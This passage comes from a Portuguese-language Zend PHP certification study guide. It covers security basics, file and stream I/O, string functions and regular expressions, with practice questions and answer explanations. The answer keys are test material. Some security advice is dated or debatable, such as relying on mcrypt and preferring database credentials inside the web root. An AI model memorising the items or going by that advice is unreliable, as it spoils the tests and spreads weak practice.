Restrição de privilégios É preciso atribuir permissões (escrita e leitura) para
os usuários específicos que realmente necessitam de
acesso àquela base de dados
Não exponha o servidor de BD na internet Procure desmembrar o servidor de banco de dados
para outra máquina (mesmo que virtualizada),
acessível apenas internamente
Bases de dados críticas localizadas em outra rede Para dados muito sensíveis, é recomendado que essa
máquina esteja em segmentos de rede distintos
Troca periódica de senhas Altere periodicamente as senhas para complicar a
tarefa dos hackers
Leia os logs de erro Toda investida no servidor gera um registro. Os
atacantes farão milhares de tentativas, na maioria
frustradas. Mas esse movimento gera um volume
grande de logs e faz-se necessário averiguar sempre.
Segurança 237

SSL
Abreviatura de Secure Socket Layer (SSL) cifra os dados que trafegam entre cliente e servidor. Esse
mecanismo de encriptar/decriptar os dados, se houver alguma interceptação como, por exemplo,
feita por um sniffer de rede⁷⁵, dificilmente o hacker vai conseguir decifrar a mensagem original.
A conexão do servidor de aplicação para com o banco de dados deve utilizar SSH (Secure Shell
Protocol), que ainda pode ser melhorada através do uso das extensões como mcrypt⁷⁶ e mhash⁷⁷
cifrando dados antes da inserção e decriptando após a consulta.

Complete a seguinte declaração de modo que ela fique verdadeira.


Em comparação com conexões HTTP, conexões HTTPS são...

A: mais seguras e com melhor performance


B: menos seguras e lentas
C: mais seguras e lentas
D: menos seguras e com melhor performance

O processo de encriptação/decriptação forma um “túnel” ponta-a-ponta. É uma técnica que protege


os dados que trafegam entre cliente e servidor, mas evidentemente há um custo computacional
(overhead).
A transformação dos dados de modo que fiquem embaralhados e o rearranjo para trazê-los a forma
normal envolve uma equação matemática muitas vezes complexa, que demanda vários ciclos de
processamento.
Trafegar em HTTPS⁷⁸ (camada adicional de segurança) onera tanto o servidor quanto o navegador,
por isso que a alternativa correta é a C: mais seguras e lentas.

Simulado
1.

Em transações HTTPS, como as URLs e query strings são passadas do browser para o\
servidor web?

A: Ambas são passadas em texto puro e toda a transação subsequente será encripta\

⁷⁵https://pt.wikipedia.org/wiki/Sniffing
⁷⁶http://php.net/mcrypt
⁷⁷http://php.net/mhash
⁷⁸https://pt.wikipedia.org/wiki/Hyper_Text_Transfer_Protocol_Secure
Segurança 238

da
B: Ambas são encriptadas
C: A URL mantém-se em texto puro, enquanto que a query strings é encriptada
D: A URL é encriptada, enquanto que a query strings é passada em texto puro
E: Para garantir a sua encriptação, a query string é convertida em um cabeçalho \
e passada junto com a informação via POST

2.

Qual o tamanho da string retornada por:


md5(rand(), TRUE);

A: Depende do valor retornado pela função rand()


B: 32
C: 24
D: 16
E: 64

3.

Um risco de segurança comum é expôr mensagens de erro diretamente no navegador d\


o usuário. Que configuração do PHP podemos desabilitar para evitar esse comporta\
mento?

A: html_display
B: error_reporting
C: display_errors
D: error_log
E: ignore_repeated_errors

4.

Qual das seguintes técnicas de filtragem previne todos os ataques as vulnerabili\


dades cross-site scripting (XSS)?

A: Remover todas as ocorrências da string <script>


B: Remover todas as ocorrências da string javascript
C: Remover todas as ocorrências da string %3Cscript%3E
Segurança 239

D: Habilitar magic_quotes_gpc
E: Nenhuma das alternativas anteriores

5.

Você está escrevendo uma aplicação PHP que será utilizada por milhares de pessoa\
s.
É preciso armazenar as credenciais do banco de dados de forma segura, mas também\
garantir que a aplicação seja de fácil deploy.
Qual é a melhor forma de fazê-lo?

A: Guardar as credenciais em arquivo .txt dentro da raiz do servidor web


B: Guardar as credenciais em arquivo .inc dentro da raiz do servidor web
C: Guardar as credenciais em arquivo .php dentro da raiz do servidor web
D: Guardar as credenciais em arquivo .php fora da raiz do servidor web

Respostas do simulado
1.
Primeiramente vamos distinguir o que é uma URL de uma query string. Na requisição teremos o
endereço:
http://www.certificamp.com/atendimento/cronometro.php?id=19&acao=liga
Como URL teremos a porção http://www.certificamp.com/atendimento/cronometro.php, sendo
que id=19&acao=liga é a query string.
Quando uma transação HTTPS ocorre, o navegador e o servidor imediatamente negociam um
mecanismo de criptografia para que todos os dados subseqüentes não sejam transmitidos em
texto claro (como ocorre nas requisições HTTP convencionais), incluindo a URL e a sequência
de parâmetros. Portanto a resposta correta é B: Ambas são encriptadas.
2.
É sabido que a função md5() retorna sempre 32 caracteres hexadecimais, independente do valor de
entrada. Porém ao passar true como segundo parâmetro na função md5(), ela devolve a saída em
formato binário com um tamanho de 16. Portanto a resposta é D: 16.
3.
A cláusula html_display sequer existe no php.ini. A instrução que existe é html_errors. O error_-
reporting é utilizado para configurar o nível de severidade dos erros PHP. A diretiva error_log é
utilizada para direcionar as mensagens de erro para um arquivo.
Segurança 240

A diretiva ignore_repeated_errors não fará o registro de erros quando ocorrerem no mesmo


arquivo, na mesma linha de código. Mas não tem relação com o enunciado da questão.
Portanto a alternativa correta é C: display_errors, que deve ser configurada como Off para evitar
que informações críticas sejam exibidas.
4.
Remover a tag <script> e expressões como javascript ajudam, mas não exime todos os ataques
XSS. Outras strings também são potencialmente maliciosas como a tag HTML <meta> e injeção de
CSS através de url() e expression().
Quanto a diretiva magic_quotes_gpc ela foi removida do PHP 5.4 e consistia no processo de inserção
automática de caracteres de escape (\) em todos os dados vindos por GET, POST e COOKIES (GPC).
Portanto a resposta correta é E: Nenhuma das alternativas anteriores.
5.
Armazenar as credencias de acesso ao SGBD dentro de arquivo texto e .inc é um péssima ideia, pois
geralmente o servidor não trata esse tipo de arquivo - sendo totalmente exposto quando acessados
diretamente via navegador.
Daí vem a polêmica: armazenar num arquivo PHP dentro ou fora da raiz do servidor web? Consi-
derando o enunciado, observe que ele enfatiza a facilidade de implantação. Por essa determinação
dizemos que é preferível guardar as credenciais em arquivo .php DENTRO da raiz do servidor web,
pois muitas vezes não temos acesso a diretórios fora da raiz do servidor, portanto a resposta correta
é C.
I/O (Entrada e Saída)
Neste capítulo vamos explorar a manipulação de arquivos, streams e operações em rede.

Arquivos
Há duas famílias de funções para manipulação de arquivos: as que iniciam por f*() e stream_*()
que trabalham com recursos enquanto que as funções iniciadas por file*() trabalham com nomes
de arquivos.
Na abordagem orientada a recursos (handler), temos como exemplos de função:

• fopen() faz manipulação de arquivo passando-o por parâmetro como um recurso;


• fread() usa caracteres ou bytes como segundo parâmetro;
• e as funções que completam essa suite são: fclose(), fwrite, fputs(), fpassthru(), fgets()
entre outras.

Acessando diretamente, passando o arquivo como argumento, teremos como exemplos de função:
file_get_contents(), file_put_contents(), file() e readfile().

O que acontecerá quando executar o código a seguir, considerando que a diretiva \


allow_url_fopen está habilitada e o diretório /tmp tem permissões de escrita?
<?php
$fp = fopen("http://certificamp.com", "r");
file_put_contents("/tmp/conteudo.txt", $fp);
echo stream_get_contents("/tmp/conteudo.txt");

A: Mostra o conteúdo do site certificamp.com


B: Error: stream_get_contents aceita um recurso para manipulação do arquivo e nã\
o o caminho dele
C: Fatal error: sem um argumento adicional de contexto, não é possível utilizar \
fopen para URLs

De acordo com a explicação no começo desse tópico, sabemos que as funções que iniciam por f*()
e stream_*() trabalham com ponteiros para os arquivos. Na quarta linha observe que a função
stream_get_contents() passa um nome de arquivo como parâmetro, gerando erro. Portanto a
alternativa B é a resposta correta.
I/O (Entrada e Saída) 242

Leitura
A manipulação de arquivos utilizando recursos baseia-se na função fopen e recebe o nome do
arquivo como primeiro parâmetro e o modo de operação como segundo argumento. Abaixo segue
uma tabela com os possíveis modos para a função fopen:

Modo Forma de operação


r somente leitura (ponteiro no início)
r+ para leitura e escrita (ponteiro no início)
w somente escrita (cria/zera)
w+ para leitura e escrita (cria/zera)
a somente escrita (ponteiro no final)
a+ para leitura e escrita (ponteiro no final)

Lembrando que os modos de operação r e r+ pressupõe-se que o arquivo já exista.

1 $f = fopen("arquivo.txt", "r");
2 while (!feof($f)) {
3 echo htmlspecialchars(fread($f, 4096));
4 }
5 fclose($f);

A função fread() recebe o ponteiro do arquivo e o tamanho (em bytes) da leitura que será realizada.
Se o arquivo possuir mais que 4096 bytes, de acordo com o exemplo, o laço continuará executando
até que chegue o final do arquivo - mediante o teste da função feof().
Obs.: caso queira realizar a leitura integral do arquivo em apenas uma iteração de while, substitua o
tamanho (nesse exemplo especificado como 4096) pelo retorno da função filesize('arquivo.txt)'.

Escrita
O processo de escrita em arquivo, quando sob o contexto de recurso, é feito através das funções
fwrite() e fputs():

1 $f = fopen("arquivo.txt", "w");
2 fwrite($f, "ZCPE...");
3 fclose($f);

Outras funções são interessantes como, por exemplo, a fputcsv() que escreve um array (recebido
como parâmetro) para o formato CSV⁷⁹ e despeja dentro de um arquivo.
Ou também a função fprintf() que formata uma string e envia para um stream de arquivo.
⁷⁹https://pt.wikipedia.org/wiki/Comma-separated_values
I/O (Entrada e Saída) 243

Operações em arquivos
Embora o PHP permita invocar o shell para realizar operações em arquivos e diretórios, é
aconselhável utilizar as respectivas funções nativas para tal tarefa. Tais como:

Função Descrição
copy() copia arquivo
rename() move/renomeia arquivo
unlink() apaga arquivo
mkdir() cria diretório
rmdir() apaga diretório

A lista de operações no sistema de arquivos é enorme e convém dar uma conferida em http://php.
net/manual/en/ref.filesystem.php.

Streams
Em tempos longínquos, lá pelos idos do PHP 4.x, cada tipo de arquivo (seja local, comprimido ou
remoto) tinha uma implementação diferente. Mais recentemente, com o advento de streams, toda
interação com arquivo faz uso de uma camada que abstrai os detalhes de acesso.
Sob o contexto de streams os “arquivos” utilizam-se de wrappers (agrupadores) que oferecem ope-
rações atuando em fluxos de entrada/saída (I/O), operando em arquivos comprimidos, trabalhando
com FTP, realizando empacotamento via PHAR⁸⁰, atuando diretamente no filesystem e tantos outros.
Basta utilizar os respectivos prefixos, que vão na frente do caminho do arquivo. Ex.:

Wrappers Descrição
file:// Acessa um arquivo no filesystem local
http:// Acessa uma URL
https:// Acessa uma URL sob SSL (HTTPS)
ftp:// Acessa um endereço de FTP
ftps:// Acessa um endereço de FTP seguro
php:// Acessa stream de entra/saída (I/O)
compress.zlib:// Comprime um fluxo de dados em GZip http://www.gzip.org
compress.bzip2:// Comprime um fluxo de dados em BZip2 http://www.bzip.org

Para conhecer os demais wrappers suportados pelo PHP, consulte http://php.net/manual/pt_BR/


wrappers.php.

⁸⁰http://php.net/manual/pt_BR/intro.phar.php
I/O (Entrada e Saída) 244

Considerando a declaração baixo, o quê ela significa?


$f = fopen("compress.zlib://pacote.txt.gz", "wb");

A: abre o arquivo pacote.txt.gz e lê seu conteúdo


B: qualquer dado que escrever em $f posteriormente será comprimido com GZip e ar\
mazenado em pacote.txt.gz
C: gera um erro, pois o modo de operação "wb" (binary write) é ilegal para esse \
tipo de recurso

A resposta correta nessa questão é a letra B, pois qualquer operação no handler $f será comprimida
e empacotada em arquivo.

Novidade incorporada na versão 5.6 do PHP

O php://input é um stream de apenas leitura que permite obter dados “crus” (raw) do corpo de uma
requisição.
A partir da versão 5.6 do PHP podemos reaproveitar a conexão aberta php://input e realizar
operações de busca (seek), consumindo menos memória ao lidar com dados via POST.
O PHP permite que criemos o nosso próprio agrupador, personalizado através da função stream_-
wrapper_register(protocolo, classe) e utilizando a família de funções stream_*.

A API de streams provê uma gama de informações sobre o fluxo de dados, mas qual \
das informações a seguir é fornecido pela função stream_get_meta_data?

A: se há mais dados a serem lidos


B: se o fluxo foi excedido ou não
C: se o fluxo está bloqueando
D: a quantidade de dados que passou através da corrente de dados
E: os componentes do fluxo de dados

Para explicar essa questão, vamos analizar o seguinte código:


I/O (Entrada e Saída) 245

1 $f = fopen("compress.zlib://pacote.txt.gz", "wb");
2 fwrite($f, "Zend Certified PHP Engineer");
3 $metadados = stream_get_meta_data($f);
4 print_r($metadados);
5 fclose($f);

O resultado será:

Array
(
[wrapper_type] => ZLIB
[stream_type] => ZLIB
[mode] => wb
[unread_bytes] => 0
[seekable] => 1
[uri] => compress.zlib://pacote.txt.gz
[timed_out] =>
[blocked] => 1
[eof] =>
)

Portanto percebe-se que a função stream_get_meta_data() traz todas as informações de cabeçalho


e metadados da respectiva stream, sendo assim a resposta é letra E.

Contextos
Ao trabalhar com recursos da rede, podemos configurar uma série de parâmetros para o stream de
modo a operar adequadamente ou mudar seu comportamento.
Essas opções especiais são conhecidas como contextos e são criadas a partir da função stream_-
context_create(). Por exemplo, ao trabalhar com arquivos .zip pode ser necessário passar a senha
para descriptografá-lo:
I/O (Entrada e Saída) 246

1 $opcoes = array(
2 'zip' => array(
3 'password' => 'P@$$w0rd',
4 )
5 );
6
7 //Cria o contexto
8 $contexto = stream_context_create($opcoes);
9
10 //Utiliza o contexto
11 echo file_get_contents("zip://arquivo.zip#ZCPE.pdf", false, $contexto);

Quais das alternativas abaixo são verdadeiras a respeito do contexto de streams?


[ escolha 2 ]

A: O contexto pode modificar ou melhorar o comportamento de um stream


B: O contexto indica a qual sessão o stream pertence
C: O contexto é um conjunto de parâmetros e opções específicas do fluxo de stream
D: Os contextos são criados com a função stream_context();

Lembre-se que a função stream_context(), mencionada na alternativa D:, não existe - o que existe é
a função stream_context_create(). Outra opção que não faz sentido é a alternativa B, que menciona
as sessões. Portanto as respostas corretas são: A e C.
Para inspecionar as opções vigentes em um determinado stream, utilize a função stream_context_-
get_options().
Uma função correlacionada é a stream_context_set_default() que configura um contexto especí-
fico independente da operação que venha a ser realizada (no âmbito de streams, obviamente) como,
por exemplo fopen() e file_get_contents(). A sintaxe é a mesma de stream_context_create().
Ex.:

1 $opcoes = array('http' => array('user_agent' => 'Meu navegador'));


2 stream_context_set_default($opcoes);
3 var_dump(stream_context_get_options(stream_context_get_default()));

Existem inúmeras opções de contexto de streams na documentação oficial, pertinentes ao âmbito de


Sockets, SSL, HTTP, cURL e outros: http://php.net/manual/en/context.php.

Simulado
1.
I/O (Entrada e Saída) 247

Qual opção vai configurar o tempo de espera (timeout) de leitura da stream para \
10 segundos?

A: ini_set("default_socket_timeout", 10);
B: stream_read_timeout($stream, 10);
C: Especificar o timeout como 5º parâmetro na função fsockopen(), utilizada para\
abrir a stream
D: stream_set_timeout($stream, 10);
E: Nenhuma das alternativas

2.

Qual é o método recomendado para copiar dados entre dois arquivos abertos?

A: copy($arquivo_origem, $arquivo_destino);
B: copy($arquivo_destino, $arquivo_origem);
C: stream_copy_to_stream($arquivo_origem, $arquivo_destino);
D: stream_copy_to_stream($arquivo_destino, $arquivo_origem);
E: stream_bucket_prepend($arquivo_origem, $arquivo_destino);

3.

Qual o transporte de rede abaixo não é suportado pelo PHP?

A: tcp
B: udp
C: udg
D: pdc
E: unix

4.

Qual dos seguintes trechos de código NÃO vai escrever o exato conteúdo do arquiv\
o "origem.txt" para "destino.txt"?

A: file_put_contents("destino.txt", fopen("origem.txt", "r"));


B: file_put_contents("destino.txt", readfile("origem.txt"));
I/O (Entrada e Saída) 248

C: file_put_contents("destino.txt", join(file("origem.txt", FILE_IGNORE_NEW_LINE\


S), "\n"));
D: file_put_contents("destino.txt", file_get_contents("origem.txt"));
E: $handle = fopen("destino.txt", "w+"); fwrite($handle, file_get_contents("orig\
em.txt")); fclose($handle);

5.

Você necessita retornar um único caractere de um dado ponteiro de arquivo em um \


arquivo aberto, mas você não sabe o tamanho do arquivo. Qual das seguintes funçõ\
es você usará para sair do laço ao chegar no fim do arquivo?

A: feof()
B: fflush()
C: fseek()
D: fnmatch()

Respostas do simulado
1.
Resposta é D: stream_set_timeout($stream, 10);.
2.
Primeiramente observe que o enunciado menciona “arquivos abertos”. Logo, significa que estamos
lidando com recursos, então o mais indicado é utilizarmos funções de streams.
Sobram as alternativas C e D, mas a assinatura da função D está incorreta (a ordem dos parâmetros é
invertida). O correto é C: stream_copy_to_stream($arquivo_origem, $arquivo_destino).
3.
O PHP suporta inúmeros protocolos de transporte de redes como TCP, UDP, SSL, TLS, Unix e UDG.
Para averiguar a lista completa na sua instalação PHP, use stream_get_transports().
Assim sendo a opção não suportada é D: pdc. PDC significa Personal Digital Cellular Telecommu-
nication System⁸¹.
4.
⁸¹http://ieeexplore.ieee.org/document/497088/
I/O (Entrada e Saída) 249

Segundo o enunciado, alternativa correta é o snippet de código que não deve funcionar, portanto
alternativa B é a opção que deve ser marcada. A função readfile() devolve o número de bytes
contidos no arquivo origem.txt (e não o seu conteúdo).
5.
A opção correta é A: feof(), pois essa função testa o handler vasculhando pelo fim do arquivo.
Mais detalhes em: http://php.net/feof.
Strings e Padrões
Uma string é um conjunto de caracteres alfanuméricos e pode ser criada de 4 formas:

• aspas simples '


• aspas duplas "
• HEREDOC
• NOWDOC

Aspas (quoting)
Quando encapsulamos strings em aspas simples representam alfanuméricos simples (sem substitui-
ção), de uso literal.
Ao encapsular em aspas duplas trata o conteúdo como strings complexas e permite escape de
caracteres e substituição de variáveis. Veja alguns exemplos:

1 $quem = "Mundo";
2 echo "Olá $quem\n"; //Exibe "Olá Mundo" seguido de nova linha
3 echo 'Olá $quem\n'; //Exibe "Olá $quem\n"

A interpolação é o processo de substituição do conteúdo de variáveis dentro da string, mas essa


transformação só funciona quando utilizarmos aspas duplas.

1 $familia = "Stopassola";
2 $nomes = array ("Ari", "Ari Junior", "Ari Neto");
3 echo "Dinastia dos {$familia}s!"; //Dinastia dos Stopassolas!
4 echo "Referência {$nomes[1]}[1976]"; //Referência Ari Junior[1976]

Comparação
Para compararmos strings, podemos utilizar operadores e funções:

Operador Descrição
== Comparação incluindo uma conversão prévia dos dados (Type Juggling)
=== Comparação incluindo checagem de tipo de dados
Strings e Padrões 251

Funções Descrição
strcmp() Comparação de strings considerando minúsculas e maiúsculas (case-sensitive)
strcasecmp() Comparação de strings desconsiderando minúsculas e maiúsculas (case-insensitive)

Os operadores já são nossos conhecidos, mas as funções str*cmp() merecem uma atenção especial:
se o retorno for 0 significa que as strings são iguais. Se o resultado for algo diferente de 0 então se
distinguem. Ex.: strcmp($a, $b) + strcmp($b, $a) == 0.

Considerando as variáveis $a e $b como strings, qual a saída do seguinte código \


PHP?
echo ($a == $b) * strcmp($a, $b);

A: 0
B: 1
C: Não é possível determinar sem conhecer os valores de $a e $b
D: Parse error

O resultado da comparação ($a == $b) utilizando o operador == é bool(false) quando forem


diferentes, que é convertido em 0. Qualquer valor multiplicado por zero, continua zero. E quando
forem iguais, essa comparação retorna bool(true) que traduz-se em 1, mas daí a comparação
strcmp($a, $b) é quem devolve 0, mantendo o 0 como resultando final - independente dos valores
de $a e $b. Consequentemente a alternativa correta é A.
Reforçando o retorno da função strcmp() quando as strings forem iguais, retorna 0. Se a primeira
string for “maior” que a segunda, devolve um inteiro positivo (> 0). Se a primeira string for “menor”
que a segunda, devolve um inteiro negativo (< 0).
O número inteiro resultante é a diferença do primeiro caracter da string quando transcrito para o
seu respectivo código na tabela ASCII⁸², que pode ser descoberto através da função ord(). Logo o
símbolo A equivale a 65 (ASCII), enquanto que o caracter a equivale a 97. Ex.:

1 echo strcmp('A', 'a'); // Exibe -32, que é 65 - 97

Outra função peculiar é a levenshtein() que mostra o número mínimo de caracteres que você deve
substituir, inserir ou apagar para transformar uma string em outra:

1 $a = "censo";
2 $b = "senso";
3 echo levenshtein($a, $b); //1

E também o inverso, ou seja, a similaridade entre os dois textos. A função similar_text() retorna
o número de caracteres que se igualam:
⁸²http://www.asciitable.com
Strings e Padrões 252

1 echo similar_text($a, $b); //4

O PHP dispõe de funções fonéticas para uso em processamento de linguagem natural e aplicações
de soletração.
A função metaphone() indica como soa uma string se pronunciada por uma interlocutor no idioma
inglês. Gera um índice de como se dá a fala daquela string. A função metaphone() cria a mesma
chave para palavras com sons semelhantes:

1 echo metaphone("peace"); //PS


2 echo metaphone("piece"); //PS

Já a soundex() é semelhante a metaphone(), porém menos precisa, pois desconsidera as regras de


pronúncia do inglês. É bastante utilizada em buscas em banco de dados:

1 echo soundex("stare"); //S360


2 echo soundex("stair"); //S360

Podemos contar strings através de strlen(), diferentemente de count() que é uma função específica
para trabalhar com arrays.

Na realidade a função strlen() conta bytes. Então se você contar caracteres codifica-
dos como UTF-8, terá um resultado diferente do esperado. Ex.: echo strlen("řßů�");
//Resulta em 9.

Eventualmente necessitamos contar palavras, então o PHP nos oferece a função str_word_count(),
extremamente útil.

Extração

Qual a saída do script abaixo:


<?php
echo substr("123456", -4, -2);
?>

A função substr(), como o nome sugere, extrai parte da string. O primeiro argumento é a própria
string, o segundo parâmetro é a posição desejada que começa o pedaço (iniciando na posição zero)
e a terceiro parâmetro (opcional) é o tamanho que se pretende percorrer (length).
Strings e Padrões 253

Quando a posição de começo é identificada com um número negativo, a função conta a partir do
fim da string. Quando o tamanho for negativo, indica quantos caracteres serão suprimidos do final.
Se não delimitássemos a porção desejada, usando apenas substr("123456", -4), o resultado seria
3456. O -2 de length despreza os últimos dois caracteres (56) retornando apenas 34 - que é a resposta
que a questão espera.

No código a seguir, quando substr() recebe um número negativo como posição inici\
al, com um limite, qual a saída?
<?php
echo substr("Zend Certified PHP Engineer", -1, 20);

A: "Zend Certified PHP Engineer" porque o número limite (tamanho) é o mais signi\
ficativo
B: "r" porque o segundo parâmetro é negativo e inicia a contagem do fim
C: false, pois o índice da string inicia por 0 e não -1
D: false, pois substr() não aceita posição inicial como número negativo, tão pou\
co o tamanho deve ser maior que a própria string

A letra A está incorreta, pois a posição é o parâmetro mais importante na extração da sub-string.
Alternativas C e D estão numa mesma categoria de respostas e devolvem false, mas já podem
ser descartadas imediatamente, já que a função substr() é flexível com relação aos parâmetros
e trabalha mesmo que o tamanho exceda a própria string.
Opção B é a resposta correta, já que o argumento -1 indica uma posição partindo do fim da string,
sendo que o parâmetro 20 nem teria efeito diante da posição indicada.

Busca
A função strpos() é uma forte candidata a cair no exame. Ela retorna a posição da primeira
ocorrência da string que se pretende procurar, na documentação chamada comumente de needle
(agulha), num bloco de textos maior chamado de haystack (palheiro).
A sintaxe é strpos(palheiro, agulha) e caso não encontre a “agulha no palheiro”, a função retorna
false. A função permite informar um terceiro argumento (opcional) caso queira ignorar a checagem
de caracteres iniciais ou finais do haystack. Esse terceiro parâmetro é chamado de offset definido
por um número inteiro negativo - recurso adicionado na versão 7.1 do PHP.

Qual o resultado de:


<?php
echo strpos("meus amigos", "m");
Strings e Padrões 254

?>

A: false
B: 0
C: "0"
D: array(0, 6)

A resposta é B: 0. Observe que é zero como número inteiro! Importante lembrar que a função
strpos() pode retornar 0 e significa que encontrou a string logo na primeira posição - que é
diferente de false.
Nas versões < 7.1 tínhamos problemas em utilizar o offset negativo, para restringir a busca e extração.
Ex.:

1 //Problemas ao utilizar offset negativo em versões < 7.1


2 $texto = "Gramado é uma cidade linda";
3 if(strpos($texto, 'linda', -15)){
4 echo "Belíssima";
5 }

No primeiro exemplo, ele simplesmente não encontra a string linda, que nitidamente consta no
texto. A mensagem apresentada era: Warning: strpos(): Offset not contained in string.

1 $dinastia = "Junior";
2 echo $dinastia[-1];

O exemplo acima é outro caso onde o offset configurado como -1 também não funciona, gerando
a mensagem: Notice: Uninitialized string offset. Ambos os problemas fora devidamente
sanados na versão 7.1.
Saindo do contexto de substring, uma função para conversão de string em array, que aparece
regularmente no exame, é explode(string de divisão, string). Ex.:

1 explode(" ", "a b c"); // array("a", "b", "c")

E o processo inverso, de conversão de array em string, também aparece no teste e possui a seguinte
sintaxe: implode(string de junção, array). Ex.:

1 implode(" ", array("a", "b", "c")); // "a b c"


Strings e Padrões 255

Qual a saída do código a seguir?


<?php
echo count(explode(".", "3...2...1...TIME OUT!"));
?>
_____________ (campo aberto)

A resposta é dada num campo aberto, considerada muitas vezes como o tipo de resposta mais difícil.
A função explode() baseia-se numa string de divisão (nesse caso formada por . ponto) para formar
o novo array.
A função implode() tem uma característica curiosa: a mudança na ordem dos parâmetros não
influencia na execução da mesma. Significa que você pode executar, por exemplo, implode('
', array('Ari', 'Ariel', 'Ariane')) ou implode(array('Ari', 'Ariel', 'Ariane'), ' '),
teremos o mesmo resultado - sem gerar erro.
Voltando a questão, perceba que o . aparece várias vezes. Nesse caso o explode() extrai o conteúdo
que vem antes e depois, mesmo que seja vazio - portanto a resposta é 10. Ex.:

1 $a = explode(".", "3...2...1...TIME OUT!");


2 print_r($a);
3 /*
4 Array(
5 [0]=>"3",
6 [1]=>"",
7 [2]=>"",
8 [3]=>"2",
9 [4]=>"",
10 [5]=>"",
11 [6]=>"1",
12 [7]=>"",
13 [8]=>"",
14 [9]=>"TIME OUT!")
15 */

<?php
function count($a, &$b) {
if($a > $b) {
count($a--, ++$b);
return;
}
Strings e Padrões 256

}
$a = 5;
$b = 2;
count($a, $b);
?>

_____________ (campo aberto)

Uma construção “diferente”, em minha opinião, é o return vazio. Outro detalhe é a passagem de
valor por referência. Mas a malícia dessa pergunta é o próprio nome da função que colide com a
função nativa count() do PHP e, portanto, não permite que seja redeclarada. Nesse caso tens que
preencher no campo aberto: Fatal error.

Substituição
A função strstr() localiza a primeira ocorrência de uma string e devolve o restante a partir dela
(incluindo ela própria). Ex.:

1 $email = "ari@certificamp.com";
2 $dominio = strstr($email, '@');
3 echo $dominio; //Exibe "@certificamp.com"

Abaixo segue um exemplo da variação dessa mesma tarefa, porém sem distinção entre maiúsculas
e minúsculas:

1 echo stristr("Seja bem-vindo ao Certificamp", "cert");

Para substituir todas as ocorrências que encontrar, utilize:

1 echo str_replace("ZCPE 5.5", "ZCE 7.1", "Vamos aprovar na ZCPE 5.5");


2 echo str_ireplace("ZCPE 5.5", "ZCE 7.1", "Vamos aprovar na zcpe 5.5");
3 //ambas exibem "Vamos aprovar na ZCE 7.1"

Essas funções também suportam substituições simultâneas:


Strings e Padrões 257

1 echo str_replace(
2 array("Hello", "World"),
3 array("Olá", "Mundo"),
4 "Hello World"); //mostra Olá Mundo
5
6 echo str_ireplace(array("tchau", "arrivederci"), "Bye", "Tchau arrivederci");
7 //mostra Bye Bye

Obs.: a função str_replace() e str_ireplace() aceitam um quarto parâmetro que guarda o número
de trocas efetuadas.
O terceiro parâmetro pode ser substitído por um número inteiro que indica a posição onde começará
a troca. Nesse caso, substitui o conteúdo da posição 4 em diante (preservando o Cert):

1 echo substr_replace("Certificamp PHP", "Zend", 4); //Exibe "CertZend"

Se o terceiro argumento for numérico, é possível passar um quarto parâmetro que delimita a
substituição. No exemplo abaixo inicia na posição 15 e avança 3 caracteres:

1 //Exibe "Certificação ZF da Zend"


2 echo substr_replace("Certificação PHP da Zend", "ZF", 15, 3);

A transliteração troca caracteres por outros, letra por letra. A função que realiza essa tarefa é
strtr() .Ex.:

1 echo strtr('abc', 'a', '1'); //mostra 1bc


2 //suporta substituições múltiplas através de array
3 $subst = array(
4 "1" => "UM",
5 "2" => "DOIS",
6 );
7 echo strtr('1234', $subst); //mostra UMDOIS34

A substituição geralmente precisa de alguma ferramenta de apoio para localizar determinados


conteúdos. A função strpos() retorna a posição onde a “agulha” se encontra no “palheiro” -
inspecionando da esquerda pra direita.
Strings e Padrões 258

1 $palheiro = "abcdefg";
2 $agulha = "abc";
3 if(strpos($palheiro, $agulha) !== false){
4 echo "Encontrou";
5 }

Observe que abc aparece logo na primeira posição, portanto o índice é zero. Daí justifica o uso do
idêntico !== pois 0 seria interpretado como bool(false), via o type casting automático.
Essa função possui variantes. Uma para buscas case-insensitive e outra para percorrer na ordem
reversa. Ex.:

1 echo stripos("Hello World", "hello"); //Encontra e mostra a posição 0


2
3 //Faz uma busca reversa, do fim para o início
4 echo strrpos("123123", "123"); //Mostra 3

Formatação
Além da construção de linguagem echo, teremos várias outras funções com propósitos semelhantes,
que oferecem a formatação dos dados ao exibir.

Funções Descrição
print() Envia ao navegador um conteúdo que é o único argumento da função
printf() Escreve um conteúdo substituindo valores, baseados num modelo chamado string de formatação (que é o pr
sprintf() Retorna a string resultante após a interpolação da string de formatação com seus respectivos valores
vprintf() Mostra o conteúdo utilizando um array com os valores à serem substituídos (no segundo parâmetro), ao invés
vsprintf() Utiliza um array para realizar a interpolação e retorna a string, assim como faz sprintf()
fprintf() Direciona o conteúdo devidamente formatado para uma stream específica, que pode ser um arquivo ou qualq

É válido ressaltar que sprintf() retorna uma string formatada e que deve ser exibida através de
outra função, enquanto que printf() mostra o conteúdo diretamente:

1 //Ambras mostram o timeStamp atual: 1507041981


2 printf(time());
3 print sprintf(time());

A string de formatação é formada por especificadores de tipos. Os mais comuns são:


Strings e Padrões 259

Funções Descrição
% mostra o caracter %
%b binário
%d decimal
%nd número de dígitos
%e notação científica
%f ponto flutuante
%nf números decimais
%o octal
%s string
%x hexadecimal de a-f
%X hexadecimal de A-F

Veja alguns exemplos:

1 //Um número ponto flutuante com duas casas decimais


2 printf("%.2f", 27.452); //27,45

1 //Especificando a saída decimal e hexadecimal


2 printf("O valor hexa de %d é %x", 214, 214); //O valor hexa de 214 é d6

1 //Transformando um número inteiro em três casas decimais


2 printf("Sou o agente %03d James Bond.", 7); //Sou o agente 007 James Bond.

PCRE
Expressões regulares é uma técnica para descrever padrões em strings.
Permite examinar strings baseando-se numa estrutura genérica, altamente poderosa, em vista disso
com certo custo de performance.
A título de curiosidade, a linguagem PHP suportava dois tipos de expressões regulares:

• POSIX (que não cai na versão corrente do exame, pois foi totalmente removida na versão 7.0
do PHP)
• PCRE - Perl Compatible Regular Expression

Uma regular expression é composta por:

• Delimitador que identifica onde o padrão começa e termina. Geralmente /, # ou !. O mesmo


caracter deve constar no início e fim da expressão regular;
Strings e Padrões 260

• Literal que pode ser qualquer caracter (/abcde/ espera abcde) ou uma barra invertida para
escapar a barra. Ex.: /Gramado\/RS/;
• Caracteres de bordas que indicam exatamente os limites onde o padrão deve começar a
procura:
– ^ começo da linha;
– $ fim da linha;
– \A começo da string;
– \Z fim da string;
– \b começo ou fim da palavra;
– \B nem no começo e nem no fim da palavra.

Classes de caracteres são demarcadas por []. Ex.:

• [aeiou] para identificar vogais, seja a ou e ou i ou o ou u;


• [^aeiou] para identificar caracteres não vogais;
• [0-9] para dígitos;
• [0-9aeiou] para a mistura de dígitos, de 0 a 9, e vogais.

